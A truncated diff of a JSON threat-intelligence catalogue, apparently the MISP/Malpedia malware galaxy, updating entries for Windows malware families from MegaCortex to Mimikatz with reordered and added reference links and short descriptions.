"https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks" + "https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.malwarebytes.com/detections/ransom-megacortex/", + "https://www.bleepingcomputer.com/news/security/bitdefender-releases-free-megacortex-ransomware-decryptor/", + "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/" ], "synonyms": [], "type": [] @@ -31471,6 +33187,20 @@ "uuid": "3f09884e-dddc-4513-8720-a28fe21ab9a8", "value": "MegaCortex" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacreep", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "394ddd91-b673-4607-b253-fe19b98008b5", + "value": "MegaCreep" + }, { "description": "Megumin Trojan, is a malware focused on multiple fields (DDoS, Miner, Loader, Clipper).", "meta": { @@ -31490,15 +33220,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", - "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/", - "https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/", - "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", "https://twitter.com/hpsecurity/status/1509185858146082816", - "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/" + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/", + "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", + "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/" ], "synonyms": [], "type": [] @@ -31537,8 +33267,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mercurialgrabber", - "https://github.com/NightfallGT/Mercurial-Grabber", - "https://twitter.com/Arkbird_SOLG/status/1432127748001128459" + "https://twitter.com/Arkbird_SOLG/status/1432127748001128459", + "https://github.com/NightfallGT/Mercurial-Grabber" ], "synonyms": [], "type": [] @@ -31551,9 +33281,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.merlin", - "http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html", "https://github.com/Ne0nd0g/merlin", - "http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html" + "http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html" ], "synonyms": [], "type": [] @@ -31566,37 +33297,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza", - "https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/", - "https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/", - "https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf", - "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", + "https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf", "http://www.secureworks.com/research/threat-profiles/gold-burlap", - "https://www.ic3.gov/Media/News/2021/210316.pdf", - "https://twitter.com/campuscodi/status/1347223969984897026", - "https://twitter.com/inversecos/status/1456486725664993287", - "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", - "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://twitter.com/inversecos/status/1456486725664993287", + "https://www.ic3.gov/Media/News/2021/210316.pdf", + "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", "https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/", - "https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/" + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://twitter.com/campuscodi/status/1347223969984897026", + "https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", + "https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/", + "https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf", + "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/" ], "synonyms": [ "pysa" @@ -31626,15 +33357,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metaljack", - "https://www.youtube.com/watch?v=ftjDH65kw6E", - "https://s.tencent.com/research/report/944.html", - "https://m.threatbook.cn/detail/2527", - "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", - "https://www.secrss.com/articles/17900", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", "https://ti.qianxin.com/blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/", - "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html" + "https://www.secrss.com/articles/17900", + "https://www.youtube.com/watch?v=ftjDH65kw6E", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", + "https://m.threatbook.cn/detail/2527", + "https://s.tencent.com/research/report/944.html" ], "synonyms": [ "denesRAT" @@ -31649,17 +33380,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo", - "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://cofense.com/blog/autohotkey-banking-trojan/", - "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", - "https://blog.ensilo.com/metamorfo-avast-abuser", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md", + "https://twitter.com/MsftSecIntel/status/1418706916922986504", "https://www.bitdefender.com/files/News/CaseStudies/study/333/Bitdefender-PR-Whitepaper-Metamorfo-creat4500-en-EN-GenericUse.pdf", - "https://twitter.com/MsftSecIntel/status/1418706916922986504" + "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md", + "https://blog.ensilo.com/metamorfo-avast-abuser", + "https://cofense.com/blog/autohotkey-banking-trojan/", + "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", + "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html" ], "synonyms": [ "Casbaneiro" @@ -31670,13 +33401,16 @@ "value": "Metamorfo" }, { - "description": "", + "description": "On March 7, 2022, KELA observed a threat actor named _META_ announcing the launch of META – a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer", + "https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/", + "https://www.accenture.com/us-en/blogs/security/information-stealer-malware-on-dark-web", "https://ke-la.com/information-stealers-a-new-landscape/", "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", - "https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/" + "https://research.nccgroup.com/2022/05/20/metastealer-filling-the-racoon-void/", + "https://medium.com/walmartglobaltech/metastealer-string-decryption-and-dga-overview-5f38f76830cd" ], "synonyms": [], "type": [] @@ -31689,11 +33423,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meteor", - "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", - "https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/", "https://twitter.com/_cpresearch_/status/1541753913732366338", - "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/" + "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/" ], "synonyms": [], "type": [] @@ -31706,36 +33441,43 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://explore.group-ib.com/htct/hi-tech_crime_2018", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://redcanary.com/blog/getsystem-offsec/", - "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", - "https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence", - "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", - "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", - "http://www.secureworks.com/research/threat-profiles/gold-winter", - "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", - "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", - "https://blog.morphisec.com/fin7-attacks-restaurant-industry", "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", - "https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", "http://schierlm.users.sourceforge.net/avevasion.html", - "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", "https://asec.ahnlab.com/ko/26705/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a" + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", + "https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://blog.morphisec.com/fin7-attacks-restaurant-industry", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "http://www.secureworks.com/research/threat-profiles/gold-winter", + "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", + "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", + "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/" ], "synonyms": [], "type": [] @@ -31748,10 +33490,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://www.youtube.com/watch?v=FttiysUZmDw", "https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor-network-overload/", - "https://www.youtube.com/watch?v=FttiysUZmDw" + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/" ], "synonyms": [ "SBC", @@ -31779,10 +33521,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot", + "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", + "https://twitter.com/GossiTheDog/status/1438500100238577670", + "https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/", "https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf", "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware", - "https://twitter.com/GossiTheDog/status/1438500100238577670", - "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", "https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s" ], "synonyms": [ @@ -31824,15 +33567,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor", - "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", - "https://github.com/cr4sh/microbackdoor", - "https://cert.gov.ua/article/37626", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/", - "https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/", "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/" + "https://github.com/cr4sh/microbackdoor", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/", + "https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://cert.gov.ua/article/37626", + "https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/" ], "synonyms": [], "type": [] @@ -31846,32 +33589,23 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin", "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", - "https://github.com/dlegezo/common", - "https://securelist.com/microcin-is-here/97353/", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", - "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://securelist.com/microcin-is-here/97353/", "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", + "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/", "https://securelist.com/microcin-is-here/97353", - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636" + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "https://github.com/dlegezo/common" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7d17dabf-a68e-4eda-a18f-26868ced8e73", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "185d8b28-0179-4ec6-a3c8-201b1936b9aa", "value": "Microcin" }, @@ -31880,12 +33614,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia", + "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/", "https://blog.talosintelligence.com/2022/02/arid-viper-targets-palestine.html", - "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf", - "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/micropsia_apt_c_23.md", + "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", "https://research.checkpoint.com/apt-attack-middle-east-big-bang/", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks", + "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf" ], "synonyms": [], "type": [] @@ -31899,8 +33634,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.midas", "https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants", - "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/", - "https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/" + "https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/", + "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/" ], "synonyms": [], "type": [] @@ -31953,9 +33688,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.milum", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", "https://securelist.com/wildpressure-targets-macos/103072/", - "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/" + "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf" ], "synonyms": [], "type": [] @@ -31964,147 +33699,172 @@ "value": "Milum" }, { - "description": "Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.\r\n\r\nAttackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.", + "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz", - "https://www.accenture.com/us-en/blogs/security/ransomware-hades", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", - "https://www.welivesecurity.com/2022/09/06/worok-big-picture/", - "https://www.secureworks.com/research/samsam-ransomware-campaigns", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.hvs-consulting.de/lazarus-report/", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-152a", - "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", - 